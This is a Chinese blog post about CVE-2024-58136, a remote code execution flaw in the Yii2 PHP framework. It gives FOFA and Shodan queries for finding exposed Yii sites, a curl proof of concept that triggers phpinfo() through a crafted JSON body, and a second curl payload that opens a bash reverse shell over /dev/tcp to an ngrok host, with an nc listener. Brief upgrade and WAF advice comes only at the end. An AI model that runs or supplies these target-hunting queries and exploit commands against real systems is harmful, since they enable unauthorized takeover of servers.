编程开源技术交流,分享技术与知识

网站首页 > 开源技术 正文

CVE-2024-58136漏洞, 一条CURL命令实现Yii2 PHP 框架 RCE

wxchong 2025-10-19 14:13:42 开源技术 1 ℃ 0 评论

CVE-2024-58136是Yii2 PHP 框架中的一个高危远程代码执行 (RCE)漏洞。该漏洞源于密钥验证不当,允许攻击者使用受控参数实例化任意 PHP 类,从而导致 RCE。

本文演示了如何在实际应用程序中发现此漏洞,如何获取 Recevese Shell 和缓解措施。

CVE-2024-58136 的根本原因

参考:
https://attackerkb.com/topics/U2DdokjYhB/cve-2024-58136/rapid7-analysis


CVE-2024-58136 — RCE PoC利用

发现目标

1. FOFA 查询

title= “yii” || title = “X-Powered-By: Yii”

2. Shodan查询

在 Shodan 中使用它:

http.headers:“X-Powered-By: Yii”

3.PoC漏洞

步骤 1:phpinfo() 测试确认 RCE

curl -k -X POST https://target/index.php \
  -H "Content-Type: application/json" \
  -d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}'

检查响应是否包含phpinfo()PHP Version等,探测是否有此漏洞。

步骤2:反向Shell载荷

设置和监听器

nc  -lvnp  9999

CVE-2024-58136 — RCE PoC

curl -k -X POST https://sub.domain.tld/index.php \
  -H "Content-Type: application/json" \
  -d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream": "bash -c '\''bash -i >& /dev/tcp/x.tcp.xx.ngrok.io/9999 0>&1'\''"}}'


补丁

  • 将 Yii2 升级到2.0.52或更高版本
  • 添加服务器端 WAF 来阻止行为键__classas例如on
  • 避免接受来自不受信任的客户端的原始 JSON。

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表